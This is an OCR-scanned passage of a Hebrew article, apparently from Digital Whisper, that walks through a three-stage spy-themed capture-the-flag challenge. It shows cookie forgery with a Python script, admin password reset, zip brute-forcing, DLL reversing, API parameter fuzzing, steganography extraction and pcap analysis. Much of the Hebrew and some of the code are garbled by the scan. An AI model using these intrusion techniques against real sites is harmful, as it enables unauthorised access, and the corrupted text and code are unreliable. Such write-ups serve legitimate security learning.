,DNXVY D19T9TN 7w 122112 NI .SOPn1'nan n'nya N1'R X' MW7 NN nwaw 17 e

.N'WA NX77 R MW7 MY Y TIpn nwiza 73 NITYY v )p

N S L

.Penetration testing Full Stack Web developmentjzoynn 20 |2 ,01p jnmar

yonatankreiner@gmail.corntiz'n Ix Ni7RyY

:Firefoxa nwin
http://blog.bentkowski.info/2016/07 /firefoxsameorigin-policy-bypasscve.html
:Facebooka 1aw SOPuImmm

https://www.cynet.com/wp-content/uploads/2016/12/BlogPostBugSee€CynetFacebook

Originull.pdf
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https://www.cynet.com/wp-content/uploads/2016/12/Blog-Post-BugSec-Cynet-Facebook-Originull.pdf
https://www.cynet.com/wp-content/uploads/2016/12/Blog-Post-BugSec-Cynet-Facebook-Originull.pdf
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https://en.wikipedia.org/wiki/Sameorigin policy

https://en.wikipedia.org/wiki/Crossrigin_resource_sharing

https://developer.mozilla.org/eAJS/docs/\Web/Security/Samerigin _policy
https://developer.mozilla.org/efdJS/docs/Web/HTTP/Access control CORS

www.ietf.org/rfc/rfc6454.txt

http://resources.infosecinstitute.com/bypassirgameoriginpolicy-sop/

http://www.brokenbrowser.com/uxsssdgedomainlessworld/

https://blog.innerht.ml/ie-uxss/

http://www.sneaked.net/
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jmvs g
2 X0 opencvimmn
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(WireSharka nunnwin 11x) nd>*7y ainxn 19100
J nnoni pxy v
S « S

W Tomn 7w "n'wxann Naron vt nnnw ,1.5.20170 RN L[NNRD NIKAXYD DI
NN DON9 A T IR JNNIYA IMMI7IY97 D'YWTN D'WIR OIAI NIN'R NUNYT ,901 21'PRN MANN
NIRINT T DT INIRN AUNDT7I MANKAN ' NIM'WA 7V 112Y7 107NN IMNIXR 1"0W INKR71LIFTN! NANKD
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http://62933120s60561450w.XyZrn NAINION QY D'AXIN IR

12 AXNIN NK 117 AXIN NDINAY

T'U¥ann 120N YNT

NAIMD>NY NIXY |N" .0'I0N MNX NAIND 90111 ,N9NN 7V NN NTh2 v |m'o U'vw nIxY? NI

2V NIV TR 178 'onY N1 W NIXN 191021 1901 TIVI SNIXNYD 19010 NY' TWURD 2-7 Np7inn

http://d eceptionisland.xyz

NIV TIRN DX 011011 GoogleMapsnX NN .nonn

= 629331208 60.561450W

62°55'59.2°S 60°33'41.2°'W
-62.933120, -60.561450

M

Deception
Island

:NNQN NaIMdN DX no1 ,deception island x1j7aw 0'1on 'R 7y NNNIYW RN

8 4
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NPTV AR

Challenge #1

Welcome back Agent CI

Once again we require your skills for an urgent mission.

Our intelligence officers have intercepted a message between notorious terrorisis
discussing an imminent attack on targets world-wide.

Intel points to a popular chat website used by these terrorists to coordinate and select
rendezvous locations.

Your mission is to track the team online and ascertain their physical location.

The following leads to the web site of the online chat service.

Good luckl,
M.

INQN TINYN 121192 aX1N INK7 MIYKRIY7 10101 TUKD

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster
Reqister

Login
=
About us...
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MNXR ONK? "annn? Dwn? 107 Dnwoxn W LLoginrl RegisterTmy 2nka w'w Nkt na

2 NMINNN NN'YWA7 012'071 DWAN7 D710 IXY NIRTYT [N N0 Ny

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster

Register Please enter your registration information below:
Login PlzHireMe B
“ ...... ®
About us.__ PlzHireMe@PlzHireMe_PlzHirele

PlzHireMe]|

SUBMIT !

(™1 MR kno'o wnnwn) 1"y now 7 ww aTw 7 2y SQLIMwyY? mwn ntn 2%wa
D'YNNYNN TNXRY YN97 1'01 .0TpNn X7 ath [on P72t oin 1 0 o'22am mminl wnnwnn

JNNK T 9N P71 nn7en K77 SQLIX xno'o wina T 7y nn'wna

17 w'w X1 qonal "RegistrationStatus 71'72 ninnnn NN'wN DY D'AXIA DNIX ANWINN INKY

6 Basea TTI7n Inw73 7Y N'7p2 N0 NIy

Allowed Blocked
Welcome to ChatMaster™! The #1 chat room service on the |t A
-0 deceptionisland.xyz
= [0 Cookies
Welcome to ChatMaster @ aa"enge&ate
. . @
Register ChatMaster Registration Stat
De-register There are 36 users before you in the registration |
Registration Status You will get notified when your account is active. Remove
. Users on the waiting queue Mame: eu
o PlzHireMe Content
About us Domain: d
Mr.Li BOb Path: /

Send for: Any kind of connection

Dr. Drek Created:

may_o_nez Expires: When the browsi

tom_HW

agentM

eliXpress

wireless_shark

imdech@tofurl1fe
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:6 Basea TTij; n7w wnnwnn o Xin a1yl 1vn decodennx?w nikae Nt

.decode(

'PlzHireMe’

-n NX 7271 De-Register?y yin%? i "agentM' wnnwnin 7w vn DX Nty 01007 11'0n

-X2n error

Welcome to ChatMaster

ChatMaster Registration Status

There are 36 users before you in the registration queue.
You will get notified when your account is active.

Something was wrong... Please try again.

Users on the waiting queue

PlzHireMe

022'N7 2121 N2 DIIYWRIN NNIY 72 NINNNN NN'YAN D'YNnYnn D nx q'vn'7 D'D"MX IXRY 112N
NANDY U9 RON ATl ,NN'YND II'NNNNY DTN NX N 2'onY? 0'71D' NNY 1NN .DI'7|73. ANRN 7R

NNT NIWYY '

import requests

names = [
“Mr.Li BOb",
"Dr. Drek",
"may_o_nez
"tom_HW",
"agentM",

"britneyspearz",
"johndow"

]

challengeState ="
with open(cookie.txt', 'r') ascookie_file:
challengeState = cookie_file.read().repladet, ")

headers = {
‘UserAgent: 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0'

}

for namein names:
cookie = dict(challengeState=challengeStagei=name.encodebase64).replace(\ n', "))
response = requests.gétittp:/deceptionisland.xyz/challengel/deregister; cookies=cookiecheaders=headers)
challengeState = response.cooki&djallengeStatd'

print "Use this session state cookie:# challengeState

JA7¥R 0OIPON W NRXINN NNl

A x012) 2017 - ToIMN W 0I'AN NANK |INNDO
www.DigitalWhisper.co.il
87 2017 1 83x T x4 L ¥




EE C:AWINDOWS\system32iemd.exe — [m} b'e

:n72'7w w2 challengeStateralvn no7nni 09"IPON NXIN NNX MNRN NI

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster

Register ChatMaster Registration Status
De-register There are 0 users before you in the registration queue.
Registration Status You will get notified when your account is active.
Login Users on the waiting queue
=2 PlzHireMe
About us...

IN2N 17NN DX 72721 D'NY7¥Nn IR RN L Logirn Timy Natva 17w wnnwn? 1annn? non

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster

@ Chat room selection

Welcome PlzHireMe!

Chatroom membership Available Rooms Selected Rooms

View all chatrooms

50+

Active users ar
dating
Logout news
politics
= sports
About us..

JOIN ROOMS NOW!
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NIRN7 [N ,AXAN AYTINN DX axnw "Chatnow" 7w Timy 117 qonnn 1N 9aoxn? nwizan INKY?

ZD'I'|7]'\|"I'7 O 'NTX AWK D'D"MX XY

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster

@ The site administrator has not approved your chat room membership yet.
The approval process requires only a short review.
Welcome PlzHireMe! You will receive an email notifying you once the approval process is completed

Thank you for your patience..
Chatroom membership

View all chatrooms
Active users
Chat Now!
Logout
)

About us...

D'1'MTRAN TR 7Y Ynnwn DuUn NN qio0 qio 117 Y'y DRI DNAINAN D'YNNYAN NN 7X T?J

ONRN Y

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster
@ Recent active users on ChatMaster!

Welcome PlzHireMe!

Chatroom membership

] cheetah PLATINUM
View all chatrooms
: ILove2*ack PLATINUM
Active users
Chat Nowl H@ck3ru PLATINUM
Logout chatiWW1z Admin
(- Justin There Regular
About us... PlzHireMe Regular
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DY NX 0'Dn7 nonl "Forgot your passwofd?y yn71 pimal ,Loginn Tiny7? 171 ,Logout nwya

N7 Y'Y MITRN

Register
De-reqgister
Registration Status
Login
=2

About us...

Welcome to ChatMaster™! The #1 chat room service on the net!

Welcome to ChatMaster
Forgot Your Password?

Please enter your username below:
User name %

SUBMIT !

The admin password for "chatW1z" was successfuly reset. hint: /challenge1/password_hint

Y27 N2wNNn? Tmy NN YR 0121 1071vn ,'nTRN 7¢ KNo'on NXAN? 1N01 71'7 NS W'Y R

"PassMasterExtension3_1"diwa DLLyalp pIN21 Xn0'oa jam WWR Zip

R T rI=:.I::_ ng... 7-Zip
Extract
- | File Edit View Favorites Teols Help
: a
e X b m v o= x i
. Move Copy Delete R Add Edract Test Copy Move Delete Info
(LEEE te~r o~
) % i | C\Temp'password_hint.ziph
Organize
Mame Size Pa
al Disk (C:) » Tem "
() P PassMasterErtensionB_'I.dIl 21 504
| 0% C — O .
{ Elapsed time: 00:00:04 Total size: 21504
Remaining time: Speed:
Files: 0 Processed: 0
Compression ratio: Compressed size: 0
Enter password ¥
Extracting
Enter passwaord:
PassMasterExtensiond_1.dll |[
Show password
Background Pause Cancel
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NPT NNd INX7 ,XN0'0N NIX XI¥NY? 1> BruteForceniwy? nnMx 11X 1120 ,ANKRN 7D 11X X7

MN7W ARXIND DN'D T VIIVI'RNA N'NITIN NDIN DY

Options...  About...

Pause...

B Ultimate ZIP Cracker 8.0.2.17
Check for updates...

Current length:

Percent done: Finished
Testing password:
Speed:

Password found: docl

Feedback...

Badk

s

Item
Password to open

Password

Action

docl copy

Qo1 nX (MAIN-Dm yin) DLEA nod nimi 5 w'w nikd? qwox IDAQ DLEN nnmo WnKY

[71 INIK IWNY O DY NNNXRD DYRI9NT NAIWNN Nzl DR nwly RUNw Ak e

Marme
Eﬂ Decrypt
=

Encrypt2

E'ii Run

B3 DlEntryPoint

Address

10
1000280

B3

COrdinal
1

4

:RUNa nmDYNN

main entry]

91
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decrypt n'¥j7219n .pwnna XN 7T1an01 N'N19 D191 nivnnwn 2Decryptx Decryptnityzaion
NN ™)1 ,9011 XORw 011 25w nwiy 2Decrypti?'Rl Nisn nxzid? NRAIPI |NI'T nxpm N
N'M9N NYI9YT7 QY

Decrypt2

_OWORD *_cdecl Decrypt2{int a1, size_t Size)
{
; // esi@t
unsigned int w3; // ecx@1

v2 = malloc{Size};

inner_decrypt(Size, {_ int128 =)al, v2};
v3 = B8;

if { Size )

do

*((_BYTE =)u2 + u3)
++ud;

= byte_6AF249B4[u3 % 0x12];

H

while ( v3 < Size };
3
inner_decrypt{Size, v2, v2);
return v2;

Decrypt

; FF edi@

v = malloc{FfOAEPR);
inner_decrypt{fOAEP, ( int128 =)hCrypto, v6);
return {(HRESULT)ub;

H

My, RUNN'Y190 1IN .NIY NMID A9 RN TA7N 12T NI NIKN Encryptn nixaio

:mpnna 0_Runra nTznnn 721 0_Runnyjav? n1ma nxyp
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NX NN2Y XNO'On DXI NNIX NTIA ,XNO0'0 YNNYwnnn ZnL'J'7l|7 NDINN ,NINNNN NIKY |NIY 9D
. 1 1 1 () 1 1 1 1
2un A7T7 VIYD DDNN INIX NK7 XNO'ON NN NO'DTAI NI9XNN NX NTIN NN ne'1an

.decrypt? 77032 mIwp X7 NOLINW XNO'ONY 2N D ,NIID] NODINW XNO'0N DXN 7W njp'Tan

:NODINY XNO'ON NIX 09XN TIznwd 1 Niwa [Xd NRT NIKT N1

IR Q177 721 NIID XNO'0 101NV 2WNYT 17 DNA7I N¥ A DLEN nX nim1? viwo nu7nn |37

Tz imn flow-n 98w nzrTan

;I8 a¥m IDAQ 2T DLEA N'9'¥90 n'¥j119 7w nxIn? (o "0

ﬁ Debug application setup: win32 X

Application

Input file

Hostname

ord

settings as default

Ok, Cancel Help

(510 run 9w 2 Tuxnw 1rn 5 xin offsetn) It x'n Paramtersa nx'mn niwnwd

- ¢ "import ctypes;ctypes.windll.LoadLibrary(r'PassMasterExtension3_1.dII')[5]()"
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:0Mmion D'UX'YY? nw DNINXY YWXR? N7 17 wr Adminaimaw ax1a chatWwlza hannny n'on

Welcome to ChatMaster

Recent chatroom membership approval:

e i

User 'PlzHireMe' would like to access '50+'

awnl 'k Adminani?, INX 9T DIY7 QYA 'R 'ATR NN DINKY DPOX'YD MIYIRND YINY 27 'Y

.[PA02 ANKX INYN IX DI'M"MD YnNnnhwun

NNXY NIRY NIXYY? 211 17w wnnwn? natn 0101 1oX'Y7 1annn? NNWoORN DX 1IXYY MR

:0X'X¥7 010'n7 071D

Welcome to ChatMaster™! The #1 chat room service on the net!

@ @ PlzHireMe

Welcome PlzHireMe!
Chatroom membership Hello!... Anyone here?
View all chatrooms
- user cheetah has left the room
Active users
Chat Now!

Logout
]

About us

T2 Premiumunnwn? 71907 'y mawn p7 ,)"yn Inwn 1nx¥n X7 22X 0'ox'sn ' 9 may
X77 Premium nnw o'wnnwnn 75 v Forgot Passwordniwy? 1'01 .0'OXR'¥N 72 DX NIx?

é nn7¥n
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X7 1T n71Y9 D2 X Premiumnixwin nmyy? Twx? "1 TN MW 7w APEY DX nipn? 1'on

.NN7x

,0NTNN 72 NX N727n DY Nn'wan 'R NIKNY NI017 1o "Chatroom membershipn Timy'? 11270

'N2N TN yopa n7pn) Tinyn 7w Sourcen 7y NI NIPONOoN INKY

Cscript type="text/javascript'>
5 (document) . ready (function(){
$.getISON ("chatroomlist’, { u: ‘spiuser’, p: ‘apipassword’, utype: '1', rand: '62189305-cabl-4bSd-a607-709847e1d2a7’, a: '@', s: '1', g: 'S’, lat: '32.67973', long: '34.78369'}, populate)
$("#btnRefresh').click(function(}{
$.g=tISON ('chatroomlist’, { u: ‘apiuser’, p: 'apipassword’, utype: "1', rand: '62189305-cabl-4bSd-a607-fo9847eld2a7’, a: ‘@', s: '1', g: 'S', lat: '32.07973°, long: '34.78368'}, populate)

15
$("#btnselect’). click(function(){
count = $("#selectedChatRooms option:selected”).length
if (count > @){
alert ('Only one chatroom is allowed!')

else

$('#selectedchatRoons' ) .append($( "#chatRooms option:selected”)[e])

15
$("#btnRemove" ) .click(function(){
count = $("#selectedChatRooms option:selected”).length
if (count > 8){
$('#selectedchatRooms option:selected’). remove()
$.getISON ('chatroomlist', { u: 'apiuser’, p: 'apipassword’, utype: '1', rand: '621893@5-cabl-4bSd-ace7-f@9s47eldza7’, a: ‘@', s: '1', g: 'S', lat: '32.07973', long: '34.78369°}, populate)

i

i
£("#btnsubmit’). click(function(){
selectedRooms = $("#selectedChatRooms option:selected")

var theForm = document. createElement('form’)
theForm.action = "joinrooms”
theForm.method="post"

var room = document.createElement("INPUT");
room. setattribute("type”, "text");
room. setattribute("name”, “room”);
room. setattribute("value”, selectedRooms[@] ? selectedRooms[e].value : "");
theForm. appendChild(room);
document . body . appendChild(theForm);
theForm.submit ();
s
1

function populate(json)
$("#chatRooms option”).remove();
$.each(ison.chatrooms, function(index, item) {
$(*#chatRooms'}.append(’<option value="' + item + '">' + item + '¢/options');

1

</script>

AT X' NMMynn Aiwn

$.9etJSON (‘chatroomlList', { u: 'apiuser’, p: 'apipassword’, utype: '1', rand: '62189305 -
cabl - 4b5d - a607 - f09847e1d2a7', a: '0', s: '1', g: '5', lat: '32.07973", long: '34.78369'},
populate)

IN2AN W IR
http://deceptionisland.xyz/challengel/chatroomList?u=apiuser&p=apgyeord&utype=1&rand
=62189305cab1-4b5d-a607+f09847eld2a7&a=0&s=1&0g=5&|at=32.07973&long=34.78369

JPURIN IWEN W NN 709

"chatrooms": [
"Set",
"art",
“"dating",
"news ",
"politics”,
"sports”

YOI? W' [IURAN VINIAXRN .OMIYWOKRN O'OXRXN NN'YIN DK YUprdny A1NKR] TN0) api nY'Y NIKY D1

2T NI NIYYYT TWONY DRI X7 INR D'7nwnn 7ax ,utype Xint |'v?
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http://deceptionisland.xyz/challenge1/chatroomList?u=apiuser&p=apipassword&utype=1&rand=62189305-cab1-4b5d-a607-f09847e1d2a7&a=0&s=1&g=5&lat=32.07973&long=34.78369
http://deceptionisland.xyz/challenge1/chatroomList?u=apiuser&p=apipassword&utype=1&rand=62189305-cab1-4b5d-a607-f09847e1d2a7&a=0&s=1&g=5&lat=32.07973&long=34.78369
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NX11D) 1-7 a vmIIRN DX DA NRWY 1XYW RYN 0090 R v FUZZINGwnn oy
:Nan w7 nwaa (ADMIN

http://deceptionisland.xyz/challengel/chatroomList?utype=0&a=1

DTN 7D YW AR'M 'y 727 TWoN

"chatrooms”: [
"*#just chat*",
"-Mossad challenge solutions-",
"Se+n,
"Mobile & gadgets™,
"Platinum dancing club”,
_ chat2ge_ ",
"art",
"computing”,
"dating"”,
"news",
"politics”,
"sports”,
“rural | eRGAdsFury ! e

:chrome?w consolea nxan miwn mrva ~ WeRGA0dsFuty! Inx g*on

var theForm = document.createElement(‘form’)
theForm.action = “joinrooms"
theForm.method="post"

var room = document.createElement("INPUT");
room.setAttribute("type"”, "text");
room.setAttribute("name”, "room");
room.setAttribute("value”, "~~!""WeRGOdsFury!!!~~");
theForm.appendChild(room);
document.body.appendChild(theForm);

the Form.submit ();

nx nx1 owi Chat Now Timy'% 171 ,n7w wnnwn? n1rh 12NN ,0KX'Y7 NO'ON DK 1MXYY7 TWX)

RN VTN

]

Where are you my friends??? | am already here at: The-bay-
watch'.
Please hurry, and bring the 'kandies’. | have a feeling we're being watched. ..

AN am ntn

http://deceptionisland.xyz/challengel/finish

INUXRIN 2A7WN DX 1IN1OW MNIRY NN
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Success!

Well Donel

You have successfully finished your 1st mission.

This is your success token:
TViwV1F6cU1jWip1Y3FUaDdIdDZoRDdhZWY4bWdJcFRHQVE5a29uajArNVhiR043Q
WhFZnZsVG90bHYyNzIrUmIRVHIqYXIkNGVVdjd1QTZkWEZGaEE9PQ==

You may now send your token and contact info to the following

You can also collect and submit additional tokens by completing more challenges.

Take the Next Challenge

Challenge #2

Well done Agenil

The location you recovered was correct and we dispatched our tactical team.
However, the terrorist group was already gone by the time they arrived. We gathered
enough intel to determine that the terrorisis have planied a bomb on an airplane
somewhere in the world, but we do not know the flight number and/or its destination.

We did however recover a of the bomb from the terrorist meeting.

Our steganography expert insists that the picture contains a hidden message, but she
was unsuccessful in uncovering it before she left on her honeymoon.

We require your assistance in locating and defusing the bomb before it detonates.
There isn't much time._

Good luckl,
M.

NIMNN DX 72221 YN 7Y YN'71 )0 7'NNN NINSY IR ,N'91212200 MANK KIN IWN MANKRNY DX

hani
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.MINNN 7w 270 'an 0'u71a1 027 NA7 K7 DAY D'7017'9 1M 7D N7unY W'y NIKNT TWON
nmwn .niww nni (2 5,2 5,2 5)/7% mnaw nn '97 27 inw% namnin nx 1907 12'01 n7nnina

2 NRXI NINNA LMV YN NlImnn v ||"wn ,7‘7n1 AN N'N'Y

[1'92 125WNN L,|oNn INKY? AT X7 NTY 11201 DNKA DT T braille an>a Narmw nawn a7nnna

N9 210 X7 0T DA R JOYSTICK D'wpm NNz NAITAY MNIRY N2'wn

UNNUVYI'XKN N XN VOO wUNNWUN? 11'799¢ 1120 WX DNy Xy NXINKX I won?7 1mownn

:MIMNN NN YN DX Y7N7 '

https://github.com/RobinDavid/LSBtegangraphy/blob/master/LSBSteq.py

:N2N [DINN 7v2 output yalp 7apnn y1I7'nin ANRY

LZHoYWxsZWonZTIvimSt Yg==|

MANNA XAN 7707 NAIYNN DR 17 0720 [IN'91 X7 Win'Y

TINA XINY 1120 ,NYIY 12 NYNNYAY U9Z0N NN [an? NI017 *T> MNTN ,DANKN |NND NKY
N'971211200N AI0 NX NI NIV NIX2 120N NNYTY '917N VOIPO NAND 7 ,ANIMI Jalon

.N7'0 MIMnNny
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from PIL import Image
import sys

STEGO_SIZE = 64

def get_size(bitstr):

Extracts the size of the data from the bitstr

return int(bitstr[: STEGO_SIZE], 2)

def get_data(bitstr, size):

Return the data for the image

bytestr = [bitstr[x:x+8] for x in range(STEGO_SIZE, STEGO_SIZE + 8*size, 8)]

bytes = [int(byte, 2) for byte in bytestr]

return ".join(chr(x) for x in bytes)
def get_bits_str(image):

Return all the bits for the image

pixels = image.getdata()

return ".join(str(channel & 1) for pixel in pixels for channel in pixel[::-1])
def do_main(image_path):

Extract the data from the image

image = Image.open(image_path)

bitstr = get_bits_str(image)

data_size = get_size(bitstr)

data = get_data(bitstr, data_size)

print "The datais: ", data

def main():
do_main(sys.argv[1])

if _name__=='__main__"
main()
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Powered by iExplode™ _ All rights reserved

Bomb Remote-Control Menu
Explode Nowl!l
Disarm Bomb
Manual defuse

Bomb Info

:DisarmBombTinya Xn0'0 N011>N2 NNIX 71017 INYW AR D'VMISNN 75 72V 1ayn NNR

Disarm Bomb
Please enter your admin password below to disarm the bomb

7w Firmwaren nota nTiun? 71’7 w' ow Info-n Tmy'7 nnix 72am oromon nxp Ty 7w 1avn

NXXON
Bomb Information
=]
Model Number #BMB123%UKFG%22311 C-4 edition
Serial Number 0000000000000000001
Status Armed
Firmware Version iExplode™ 5 4 Beta edition
License None (Evaluation version)
Plastic (standard) Plugin Installed
Anthrax Plugin Not installed
Exira Damage Plugin Not installed
Mass Destruction Plugin Not supported

'NT Y2 210 NT'R basha file nTizon ntyva nar Firmwaren nx nmin

[Temp$ file 15a7d3

ad5deb

.EXP unn19o2 0192 yalp Ty n'7an 11192 n'7an Zip/-2 yain v nnmo
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.NN7W D0'¥27 NDIYN 0720 12NIX 02921 ,INIXK DA NINS7 yTI* 7Zip,n7mnY

Size Packed Size Mode

580 580 582 656 drwscr-r-x

10 0 draer-xr-x

282 834 318 464 dracer-xr-x

627052 634 220 drwar-xr-x

lib32 0 0 Imavacnaona
lost+found 0 0 drwx------
media 0 0 drwar-xr-x
mnt 0 0 draner-xr-x
opt 0 0 drwzr-xr-x
proc 0 0 drwzr-xr-x
root 0 0 drwx------
run 0 0 drwar-xr-x
shin 13592 14336 drwar-xr-x
sy's 0 0 drnwzr-xr-x
tmp 0 0 drnwxrwxrwt
usr 37492 273 3954 688 draner-xr-x
war 6928 %216 draer-xr-x
| ] linusere 11 0 IPwserancrae

,N'9'¥o0 .PYTHOM Dn'aImd AnXN ¥ 0'¥27n DX DY 1720 WWW-7 DT "INRI Var? 0101 DX

:DisarmBombTimyn nx woan1 .ankn 75 NX 7on iexplodepy yaizn

def defuse_page(environ, start_response):
try:
if environ["REQUEST_METHOD"] !="POST":
raise ErrorPage("500 Internal Server Error”, "")

defuse_data = environ["wsgi.input"].read(100)
defuse_data = parse_qgs(defuse_data)

if Pmgmt.CheckPassword(defuse_data["defusecode"][0]):
start_response(*200 OK", [(*Content-Type", "text/html")])
res="""

<html|>

<head><title>iExplode v1.01</title></head>

<body>

<h1>Bomb defused successfully!</h1>

</body>

</html>"""

return res

start_response("200 OK", [("Content-Type", "text/htmI")])
res ="""
<html>
<head><title>iExplode v1.01</title></head>
<body>
<h1>Incorrect defuse code</h1>
</body>
</html>
return res
except:
raise ErrorPage("500 Internal Server Error", "")
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import random
PASS = [
'applebomb’,
'bang8',
‘dinamitel5',
'motherofallbombs’,
'‘explodenag’,
‘explosionkiss',
'rosebomb1’,
'bombshell12’,
'sisterofallbombs’,
'bombinator’,
'bighang888',
‘explodetalk’,
'megaplode’,
'implosion-bomb’,
'c4’,

'big-bang’,
‘explosivepack’,
‘criticexplosive’,
'explosivelawyer’,
‘explosiveanalyst',
‘'mechanicalbomb’,
'plastic’,
‘gnuexplosive’,
‘zipbomb',
'heartexplosion’,
‘sh*tbomb’,
‘ilovec4’,
'plasticaddict’,
‘livingexplosion’,
‘plasticcaliber’,
'da-defuser3’,
‘plasticcannon’,
‘explosionmagnet’,
‘cdilluminator,
‘bombhoarder,
‘timer-crusher’,
'dieanotherday’,
‘killmeabomb’,
‘pleasedontkillme2’,
'nuclearbanana’,
‘makemeabomb’,
‘plasticempathic’,
'sugarbombbaby’,
'bombino222',
‘defusemenow!’,
'meloveexplosives3xpl0$!0n’,
‘explosionnuts’,
'bombindex’,
'‘Bombinyourear!']

def GetPassword():
try:

Technologic

:xan Pythorrn yalp nx 72731 uncompyld narva PYEn yalr'7 unpacknwya

ind = int(open('/etc/iexprun’, 'rb').read())

return PASSJind]
except:

print 'Problem reading index from /etc/iexprun’

return None
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Jndexn nx npn ,nIXno'on Nn'wn MY OpTI'R X¥N1 DIMAW XM L "etc/iexprun™ N nnoa
anxa DisarmBombin Timy'%7 0101 ,NIXNO'ON NN'wN NN IRXNYW Indexa Xno'on NN KxN)

Inxxon NX 710101

DANNA YN 2A7UN NI NTOW R

Success!

Well Donel

You have successfully finished your 2nd mission.

This is your success token:
cWVmbnRBa3IDRDh4ZEhOMkMwckZka2pZZnJCMjRHRUtRK2ZI SXNMKO0d3ajcvT01y
RXI4ZTd6RHJyZIpGbzNIak9pbG5DWWVaUEpGMHEzOGJicmRvR2c9PQ==

You may now send your token and contact info to the following

You can also collect the last token by completing the final challengel

Take the Next Challenge
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Hyhn AwWn 7Y QY TINN NN

Challenge #3

You did it againl

The bomb you defused was discovered soon after the airplane landed (seems that
someone posted an anonymous tip to local authorities__ ).

Additionally, we have been able to recruit an agent within the terrorist cell.

We are unable to maintain constant contact with him as the agent is deep undercover.
However, he did manage to post a to our secure servers. We require your
skills once again in order to follow the communication trail and reveal the message.

Thanks, and good luckl,
M.

W0 Mawn 7w nnfon nvion 7on Wwx PCARaIp Ti'w NiIXYYT [N messagery n'x¥ni7 TWUND
Aanx? Ny ICMPnivTin qonar ,SSE? ayxnn nX oMavn annxw  FTPNiwpen 2'on n9aonn

NMyn NIk ICMPNIupo 3 nxxn n9100n ' '7v 1avn

BB 8c 209 76 Be @B BB Bc 29 99 75 ca B8 @8 45 68 R 1 T T T
@@ 54 ff 2b 49 60 486 81 29 1d c@® a8 c8 36 cP ad CToHEL @ Y
c3 58 @8 @@ 83 38 @d c2 @98 @1 2f ac e9 53 @@ B ..... Bow oK
a8 83 21 2e &f &2 @8 8@ @8 88 2T 63 68 61 6c 6C ol Lofchall
65 Ge B7 65 33 2f 78 6b 65 79 2f 63 68 &l 6C AC enge3/pk ey/chall
65 Ge A7 65 33 2T 78 6b 65 79 2T 63 68 &l 6C AC enge3/pk ey/chall
65 Be en

@a Bc 29 99 V5 ca B8 8c 29 V@ Be B8 83 ef 45 ae sodeta.. Jp....El
28 54 al 4b 20 88 4B 81 c6 fd cB a8 cB BB c@ ad LTl s
cB 36 @2 88 84 bf @d c3 ee 8l 2f ac D 5B @@ BB ........ R
28 88 af 31 ef @0 20 88 @8 88 73 65 63 72 65 74 el Lsusecret
28 28 28 28 28 26 28 286 28 28 73 65 63 72 65 74 secret
28 28 28 28 28 26 28 286 28 28 73 65 63 72 65 74 secret
28 28

@8 Bc 29 99 75 ca @@ Bc 29 7@ Se @0 B85 @8 45 B8 eedale.. Jp....E.
82 54 31 4c @2 BB 48 Bl ch fc c® a8 c8 BB c@ aB Tl sflle wnvennns
c8 B6 8@ 88 14 6c Bd c4 ee 8l 2f ac 9 58 BB BB ..... | A P S
@2 B8 ba 24 of o0 @@ B8 B0 88 21 63 BB Bl Bc BC cendal.. Lo fchall
65 Ge 67 B5 33 2f 61 62 63 64 2f 63 B8 6l Bc BC enge3/ab cd/chall
65 Ge 67 B5 33 2f 61 62 63 64 2f 63 B8 6l Bc BC enge3/ab cd/chall
65 be en
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:DMAT 2 D'TI'Y DRI IT7 MY DNIY7N W7 0101
TOomMN W NTORIN T .1

[9¥In '01® RSAN9n .2

ZO|7I]"73. NXAN NTIEZON NNTY] '05N NNSNN 7v N19¥NN NX NINOY N1

-out pk
[sudo] passw

37 QCO2

X7 maw mnnxn ICMRA nyTin md> "secret Xin nnonn nn'Mo? passphrasew nwny

PTXY AR NYUNNYN

:MIYNN 7y noal n1oxnn Nnnon nX Wireshark o1

USER userl

331 Please specify the password.

PASS 1234

238 Login successful.

SYST

215 UNIX Type: L8

WD files

258 Directory successfully changed.

TYPE T

288 Switching to Binary mode.

PORT 192,168,288@,134,183,98

288 PORT command successful. Consider using PASV.
RETR 2

158 Opening BINARY mode data connection for 2 (18169 bytes).
226 Transfer complete.

QUIT

221 Goodbye.

N2N Yalzn DX 721 wiresharkn mix y7na ,oma 1 0 1'% T2 yalp N9 "avw nxM

0000h:| 50 4B 03 04 14 00 O& Q0 O3 00 QO 00 Z1 00 CB A3 | PK.......... 1 EL
00l0h: CD 34 76 01 00 OO0 04 05 00 00 13 00 DD 01 5B 43 Iaw......... ¥.[C
0020h: 6F 6E 74 65 6E 74 5F 54 79 70 €5 73 5D ZE 78 6D | ontent Types] .xm
0030h: 6C 20 AZ D9 01 28 AOD OO0 02 00 OO0 00 00 00 00 00 | 1 @U.( +vevuenns
0040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @ @ ......ccnvuuannnn
0050h: 00 QC Q0 0OC QO OO0 OC Q0 00 Q0 Q0 00 Q0 00 00 00 || wovvevnnranannns
0060h: 00 OC QO OC Q0 QO 00O Q0 OO0 Q0 Q0 00 Q0 00 00 00 | ......ecvecannns
0070h: 00 OO OO OC Q0 OO0 OO0 Q0 OO0 00 Q0 00 00 00 00 00 | .....cvueveinnnnn
0080h: 00 00 00 00 00 OO0 OO0 OO0 OO0 00 00 00 00 00 00 00 | ...ucvwcvocannns
Q00S0h: 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....eccnnnnnnnnn
Q00AOh: 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 @ ......cnvinnnnnn
00BOh: 00 QC QO 0OC Q0 QO Q0 Q0 00 Q0 Q0 00 00 00 00 00 | .....cvuevennnnns
00COh: 00 OQOC QO 00 Q0 OO 00 Q0 OO0 Q0 Q0 00 00 00 00 00 | .....c.ecvecnnnns
Q0ODOh: 00 OO OO0 00 Q0 OO0 Q0 Q0 OO0 00 Q0 00 00 00 00 00 | .....cveeveinnnnn
QO0OEQh: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @ .....ccvvennannn
QO0FOh: 00 00 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....econvunnnnnn
0100h: 00 QOC OO0 OC QO OO OC QO OO0 OO0 QO 00 Q0 00 00 00 || eovnennsvanannns
